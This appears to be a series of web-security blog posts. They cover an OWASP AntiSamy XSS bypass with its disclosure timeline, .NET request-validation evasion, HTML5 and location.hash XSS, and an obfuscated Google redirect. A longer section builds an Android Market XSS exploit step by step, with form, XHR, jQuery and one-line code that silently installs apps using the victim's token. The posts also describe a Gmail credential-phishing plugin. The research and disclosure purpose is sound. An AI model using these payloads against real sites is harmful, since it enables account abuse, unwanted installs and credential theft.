OWASP AntiSamy Project XSS

From the OWASP AntiSamy Project page’s “What is it” section:

It’s an API that helps you make sure that clients don’t supply malicious cargo code in the HTML they supply for their profile, comments, etc., that get persisted on the server. The term “malicious code” in regards to web applications usually mean “JavaScript.” Cascading Stylesheets are only considered malicious when they invoke the JavaScript engine. However, there are many situations where “normal” HTML and CSS can be used in a malicious manner. So we take care of that too.

So as far as I understand it, it is trying to prevent Cross Site Scripting (XSS). But to be fair, the user guide is a little bit more realistic:

AntiSamy does a very good job of removing malicious HTML, CSS and JavaScript, but in security, no solution is guaranteed. AntiSamy’s success depends on the strictness of your policy file and the predictability of browsers’ behavior. AntiSamy is a sanitization framework; it is up to the user how it does its sanitization. Using AntiSamy does not guarantee filtering of all malicious code. AntiSamy simply does what is described by the policy file.

Anyway, I found a XSS that worked in the case of the web application I was testing:

<a href="http://example.com"&amp;/onclick=alert(8)>foo</a>

Version: antisamy-1.5.2.jar with all default configuration files there are.

Browsers tested (all working): Firefox 22.0 (on Mac OSX), Safari 6.0.5 (on Mac OSX), Internet Explorer 11.0.9200 (Windows 7) and Android Browser (Android 2.2).

Disclosure timeline:
July 16th, 2013: Wrote to Arshan (maintainer) about the issue
July 16th, 2013: Response, questions about version and browser compatiblity
July 16th, 2013: Clarification about versions/browser and that I only tried getNumberOfErrors(), informed that I’m planning to release this blog post end of August
July 23rd, 2013: Some more E-Mails about similar issue that was just resolved (not the same issue), including Kristian who comitted a fix
July 25th, 2013: Kristian sent a mail, he will have a look at the getNumberOfErrors() logic before releasing an update
July 31st, 2013: Asked if there are any updates on the issue, no response
Sept 09th, 2013: Asked if there are any updates on the issue, response that it should be fixed. Requested new .jar file
Oct 21st, 2013: Tested with the newest version available for download, antisamy 1.5.3. Problem still present. Public release.

Antisamy doesn’t give any error messages and getNumberOfErrors() is 0. Although the getCleanHTML() will give back sanitised code without the XSS, people relying only on the getNumberOfErrors() method to check if an input is valid or not will have a XSS.

Btw. the included configuration file names are somehow misleading (the names include company names like ebay). Those names are made up, doesn’t mean the companies use those conifg files at all. I don’t even know if they are using the antisamy project at all.

I can’t recommend relying on that project. Proper output encoding is important and is the real XSS prevention. And validating HTML with regex is hard. Very hard. Very, very hard. Don’t.

BeEF webcam and Gmail plugin

The BeEF project is one of the better tools to demonstrate the impacts of XSS. I always wondered why there was no webcam plugin, so here we go, I coded two new plugins. Both are already part of BeEF now, so just go on, update your BeEF installation and you’re good to go. I made a demo video for the webcam plugin, you can watch it on vimeo: BeEF webcam plugin using flash.

Additionally I wrote a Gmail phishing plugin, that uses a Cross Site Request Forgery (XSRF) on the Gmail logout button (invalidates the session on the server). That means you have to relogin to Gmail (in all tabs/windows of your browser). Then the plugin changes the XSSed site to a Gmail phishing page. If the user enters his credentials, they get submitted to the BeEF server/attacker. The user will be redirected to the real Gmail login page.

I’m still improving the plugins, so if you have any comments, let me know.

Microsoft .NET: Circumventing XSS request validation

Ha – I’m back!

I guess most of you know how annoying it is to start a Web Pentest and notice that the request validation of Microsoft IIS / .NET is on. I mean the big red error messages “A potentially dangerous request…” or for the .NET programmers, the HttpRequestValidationException. I nearly always found a way around it. There is a really nice post on stackoverflow about which kind of characters will trigger the exception. But for the lazy ones a list of unallowed strings I figured out myself a while ago:

&#
</
<?
<!
<a to <z
<A to <Z

Firstly, you can just not use the < and & character. Just find a place where you are already inside a tag and write something like [code]" onmouseover="alert(123)" alt="[/code] Second of all, a string that is allowed and I claim to be the first one who found it (I'm sure I was just not able to find someone else who did it before, let me know!): [code]<%#[/code] Yeah, wow, I know. It's not really that impressive and you can't construct a working XSS with it, but you can use it to break the HTML code (at least in Internet Explorer). But nice anyway. Additionally, you can send your XSS payload in any of the HTTP Headers to .NET and it won't be checked. Or if there is a Web Service which does the same as the Web Application, just send a SOAP request with the XSS string (no HttpRequestValidationException there). Of course there are always different encodings that could work. For example you could try HTML (&lt;) and Unicode (\u003c). Enjoy!

XSS – developing an exploit from HTML form to jQuery

As I’m currently really occupied with all the Android stuff, I thought about the blog posts of Jon Oberheide and Thomas Cannon about XSS in the Google Android Market Web Interface. While I could have just used Jon Oberheide’s XSS exploit for jQuery, I thought it would be a good exercice for me to develop it on my own.

First of all, I’m talking about XSS, so in the nature of XSS we don’t have to bother about XSRF tokens, because we can just get them in our XSS attack. When you look at a HTTPS request that installs an app (e.g. in the HTTP Live Headers add-on for firefox), you will notice that the following request is sufficient to install an arbitrary app on the Android mobile:

POST https://market.android.com/install HTTP/1.1
Host: market.android.com
Cookie:  androidmarket=YOUR_COOKIE

id=com.example.very.evil.app.already.on.market&device=YOUR_DEVICE_ID&token=YOUR_TOKEN

The “YOUR” variables are all accessible in javascript when you are logged in, as you can see in the HTML source of the Android Market page (var initProps). Therefore you could generate a HTML/XSS payload like this:

<FORM action="https://market.android.com/install" id="formId" method="POST">
	<input id="id" type="hidden" name="id" value="com.example.very.evil.app.already.on.market" />
	<input id="device" type="hidden" name="device" value="" />
	<input id="xhr" type="hidden" name="xhr" value="1" />
	<input id="token" type="hidden" name="token" value="" />
</FORM>
<script>
document.getElementById('token').value = initProps['token'];
document.getElementById('device').value = initProps['selectedDeviceId'];
document.getElementById('formId').submit();
</script>

or in pure javascript:

<script>
myform = document.createElement("form");
myform.action = "https://market.android.com/install";
myform.method = "POST";

id = document.createElement("input");
id.name = "id";
id.type = "hidden"
id.value = "com.example.very.evil.app.already.on.market";
myform.appendChild(id);

device = document.createElement("input");
device.name = "device";
device.type = "hidden"
device.value = initProps['selectedDeviceId'];
myform.appendChild(device);

xhr = document.createElement("input");
xhr.name = "xhr";
xhr.type = "hidden"
xhr.value = "1";
myform.appendChild(xhr);

token = document.createElement("input");
token.name = "token";
token.type = "hidden"
token.value = initProps['token'];
myform.appendChild(token);

document.body.appendChild(myform);

myform.submit();
</script>

For example if you copy the following code into the URL bar of you Android Market Browser Tab (you must be logged in), it will install the official Swiss train service app (SBB) on your mobile:

javascript:myform = document.createElement("form"); myform.action = "https://market.android.com/install"; myform.method = "POST"; id = document.createElement("input"); id.name = "id"; id.type = "hidden"; id.value = "ch.sbb.mobile.android.b2c"; myform.appendChild(id); device = document.createElement("input"); device.name = "device"; device.type = "hidden"; device.value = initProps['selectedDeviceId']; myform.appendChild(device); xhr = document.createElement("input"); xhr.name = "xhr"; xhr.type = "hidden"; xhr.value = "1"; myform.appendChild(xhr); token = document.createElement("input"); token.name = "token"; token.type = "hidden"; token.value = initProps['token']; myform.appendChild(token); document.body.appendChild(myform); myform.submit();

The problem with that payload is, that it will prompt the user a json.txt file download. So let’s do some Ajax magic instead:

var xmlHttpObject = false;
if (typeof XMLHttpRequest != 'undefined') {
    xmlHttpObject = new XMLHttpRequest();
}
if (!xmlHttpObject) {
    try {
        xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try {
            xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            xmlHttpObject = null;
        }
    }
}

//POST request
params = "com.example.very.evil.app.already.on.market&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']
xmlHttpObject.open("POST", "install", true);
xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttpObject.setRequestHeader("Content-length", params.length);
xmlHttpObject.setRequestHeader("Connection", "close");
xmlHttpObject.send(params);

Now the following one line in your browser address bar will silently install the app (remove the app first if you already executed the last payload):

javascript: var xmlHttpObject = false; if (typeof XMLHttpRequest != 'undefined') { xmlHttpObject = new XMLHttpRequest(); }; if (!xmlHttpObject) { try { xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xmlHttpObject = null; }; }; }; params = "id=ch.sbb.mobile.android.b2c&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']; xmlHttpObject.open("POST", "install", true); xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttpObject.setRequestHeader("Content-length", params.length); xmlHttpObject.setRequestHeader("Connection", "close"); xmlHttpObject.send(params);

If we now take into account that we could simply use jquery, the following javascript code (proposed by Jon Oberheide) results:

$.post('/install', {
    id: 'com.example.very.evil.app.already.on.market',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

This is of course much more elegant, but I really needed a HTML form to jQuery exercise, so I appreciate jQuery again 🙂

How webservers react on specific characters

One thing I did during my Master Thesis a while ago, was to test how different webservers react to all kind of characters. One of the first things I tested was all characters represented by one byte (00 to FF) and their percent encoded equivalents (%00 to %FF). Of course the results may vary with other server versions, server configurations, server side code, client libraries or the sent HTTP headers. For example python’s urllib2 is not able to send 0A (line feed) in an URI (which makes sense). I tried to use standard components as best as I could. The webservers I used were:

  • An Apache 2.2.12 server (port 80), Ubuntu 9.10 machine with PHP 5.2.10
  • On the same machine a Tomcat 6.0.26 server (port 8080) with JSP (Java Server Pages)
  • On a Microsoft-IIS/6.0, Windows 2003 Server R2/SP2 with ASP.NET 2.0.50727 a script in C# on Virtualbox 3.1.8

So here are the main results in one picture:

character_table_for_testing_webservers

The ‘Name’ column means that the character was injected into the parameter name, e.g. na%00me=value&a=b. The fields with ‘S’ are explained in another section of my Master Thesis, but some of the time you can guess the behavior. E.g. I think you know what & stands for in GET parameters, right? 😉

This kind of information is useful when you are trying to write a fuzzer, that is more focused to do some tests that make sense. Would be interesting if this table is useful for someone else.

HTML5 security – making web users more safe?

There is one thing security engineers and new technologies ideally have in common: They make existing stuff more secure. For the security engineer, there is certainly a truth in this claim – for new technologies however, I’m not that sure though…

Recently I wanted to improve my skills in HTML5 when I stumbled on some interesting new features a penetration tester (or an attacker, which in most cases does not make a huge difference) can abuse to exploit XSS-vulnerabilities. Of course there are also many more features that make other injections possible, but for XSS there are some very interesting ones. Until now, when you found a XSS hole within a input element that has filtered < and > you could not exploit it automatically without using CSS expressions – for example:

<input type="text" USER_SPECIFIED_INPUT >

This type of vulnerability was usually exploited using something like

style=xss:expression(alert(0))

or similar. Anyway all of them work on a limited set of browsers only and are therefore not that interesting for a real exploit.

So what about HTML5? No more CSS expression is needed – the magic is called autofocus:

<input type="text" AUTOFOCUS onfocus=alert(0)>

Nice – so who did expect new technologies to make users safer? This is just one example – have a look at Mario Heiderich’s “HTML 5 Security Cheatsheet” for many more of them…

Finally – what are the lessons learned?

  • I (and every penetration tester as well as WAF/IDS-developer out there, too) definitively need to look into HTML5
  • HTML5 offers many new features – one might also call it “new ways to attack a web user”

So long – sc0rpio

What about JavaScript support?

This is my first blog post and any feedback is appreciated. During my daily work I have been using w3af, the web application application attack and audit framework, extensively. What I’ve noticed is that w3af sometimes struggles with the basic task of spidering a targeted web application. And if the targeted web application can’t be properly spidered you won’t find any vulnerabilities. The reasons might differ but there is an obvious one which other tools suffer as well. What about JavaScript support in the spiders? Most of the time JavaScript is not properly or not at all supported by web spiders in open source security testing tools. Every web application uses some kind of JavaScript/Ajax functionality to work properly these days. Wouldn’t it be a necessity for spiders in security related applications to support JavaScript? I’m not talking about commercial products which certainly have some kind of JavaScript support but the open source tools certainly lack this feature. There are some open source libraries available I’d like to point out.

The Mozilla Rhino project builds the basis for the HtmlUnit project which describes itself as “GUI-Less browser for Java programs. It models HTML documents and provides an API that allows you to invoke pages, fill out forms, click links, etc… just like you do in your normal browser.” Sounds interesting… and it is. I’ve written a basic web spider component using HtmlUnit for a larger project I am currently working on (more about this later). The great benefit is, as you’ve imagined, the JavaScript support it provides. Let’s see some basic HTML page with embedded JavaScript code (the example is a bit far fetched):

<html>
<head><title>Login Form</title></head>
<body>
    <form action="checkLogin.php" name="loginForm">
    <script type="text/javascript">
        function writeInputElement(inputType, inputName) {
            document.write('<input type="' + inputType + '" name="' + inputName + '" />');
        }
        writeInputElement("text", "username");
        writeInputElement("password", "password");
        writeInputElement("submit", "loginButton");
    </script>
    </form>
</body>
</html>

The preceeding snippet shows the JavaScript code for creating a dynamically HTML form. Web Application Security tools such as w3af are not able to find and work with the dynamically created input fields. Whereas HtmlUnit properly updates the HTML DOM and provides an easy to use API for accessing and modifying the embedded HTML fields. The following code shows how to parse and modify the HTML page:

public void submittingForm() throws Exception {
    // Creates a new browser object using a proxy server
    // and simulating Mozilla Firefox version 3
    final WebClient webClient = new WebClient(BrowserVersion.FIREFOX_3,
        "http://myproxyserver", 8080);

    // Set proxy username and password
    final DefaultCredentialsProvider credentialsProvider = (DefaultCredentialsProvider)
        webClient.getCredentialsProvider();
    credentialsProvider.addProxyCredentials("proxyUsername", "myProxyPassword123");

    // Get the first page
    final HtmlPage page1 = webClient.getPage("http://www.example.com/login.php");

    // Get the form that we are dealing with and within that form,
    // find the submit button and the field that we want to change.
    final HtmlForm form = page1.getFormByName("loginForm");

    final HtmlSubmitInput button = form.getInputByName("loginButton");
    final HtmlTextInput textFieldUsername = form.getInputByName("username");
    final HtmlPasswordInput textFieldPassword = form.getInputByName("password");

    // Change the value of the text fields
    textFieldUsername.setText("john");
    textFieldPassword.setText("gaephah6MueD");

    // Now submit the form by clicking the button and get back the second page
    final HtmlPage page2 = button.click();
}

I’ve tested my spider with the WIVET benchmark project. From the WIVET project page: “WIVET is a benchmarking project that aims to statistically analyze web link extractors. In general, web application vulnerability scanners fall into this category.” My spider scored a 85% discovery rate whereas w3af only scored between 16% and 50% depending on the version used. I hope that there might be more JavaScript/DOM Manipulation libraries for other programming languages in the future.

Cheers, nini0

Location based XSS attacks

There is always something new to learn… Didn’t know this little trick. A very simple example:

A website has a reflected XSS vulnerability (echoes the parameter abc in this example), but escapes " to &quot;. We use the property that web browser do not send the fragment part of an URI (everything after the hash character #) to the web server:

http://example.com/index.php?abc=<script>eval(location.hash.slice(1))</script>#alert(“XSS!!!”);

See the page above for more advanced examples. This technique solves the escaping problem and the server logs never show the Javascript attack code.

Rick Roll’d (Google auto redirect)

Ever been Rick Roll’d by Google? How does this link look like?

http://www.google.ch

Credit goes to Marshall Whittaker, see http://seclists.org/fulldisclosure/2010/Jul/188.

The technique behind it is quite simple:
1. Find a Google query that shows your desired page on top. With query modifiers like intitle: inurl: site: it’s quite easy
2. Construct a Google URL to send a “I’m Feeling Lucky” query
3. Percent encode your Google query from 1 and the button name (“‘I’m Feeling Lucky”) to obfuscate
4. Prepend your Google query with a lot of %20 to fool the browser URL preview in the footer. Hovering over the link will not show the percent decoded URL!

Update: The Google query was additionally appended with %20, so it looks the same in Firefox 5

Apache HTTP 0.9 compatible

When sending the ASCII control character null (hexadecimal 00) in the query string of an URI, IIS returns a 400 (Bad Request). Tomcat passes the null to the web application. But Apache returns a HTTP entity (the HTML code), but no HTTP headers. Additionally the URI is truncated (the null and everything after it is missing).

If you have a local apache running, try this python script (you need to have a index.html or index.php in your root directory):

import urllib2
print 'Valid request:'
print urllib2.urlopen('http://localhost/?abc=123&def=456_VALID').read()
print ''
print 'Invalid request:'
print urllib2.urlopen('http://localhost/?abc=123'+chr(0)+'&def=456_INVALID').read()

If you watch it with wireshark you will see that the answer to the second request has no HTTP headers. The apache access.log will look like this:

::1 - - [09/Jun/2010:16:44:41 +0200] "GET /?abc=123&def=456_VALID HTTP/1.1" 200 321 "-" "Python-urllib/2.6"
::1 - - [09/Jun/2010:16:44:41 +0200] "GET /?abc=123" 200 94 "-" "-"

Eric Covener of the apache project:

The null in the invalid URL causes the request line to be terminated before the rest of the URL or the protocol. The response (no headers) is “HTTP 0.9” described here:

http://www.w3.org/Protocols/HTTP/AsImplemented.html

You can find my (invalid) bug report here. I think this can only be used for web server fingerprinting. Or if there is a client (e.g. a browser) that sends the null character as well, there might be some changes for header injection.